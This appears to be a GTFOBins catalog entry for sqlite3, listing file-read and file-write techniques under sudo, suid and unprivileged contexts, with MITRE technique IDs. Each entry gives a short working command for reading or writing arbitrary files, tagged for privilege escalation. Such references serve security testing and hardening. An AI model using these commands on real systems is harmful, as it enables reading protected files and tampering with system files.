Catalog GTFOBins

GTFO · Tool

sqlite3

9 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS
sqlite3 <<EOF
CREATE TABLE x(x TEXT);
.import /path/to/input-file x
SELECT * FROM x;
EOF
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS
sqlite3 <<EOF
CREATE TABLE x(x TEXT);
.import /path/to/input-file x
SELECT * FROM x;
EOF
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS
sqlite3 <<EOF
CREATE TABLE x(x TEXT);
.import /path/to/input-file x
SELECT * FROM x;
EOF
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS
sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select "DATA";'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS
sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select "DATA";'
Context
suid
Native
file-write
MITRE
T1565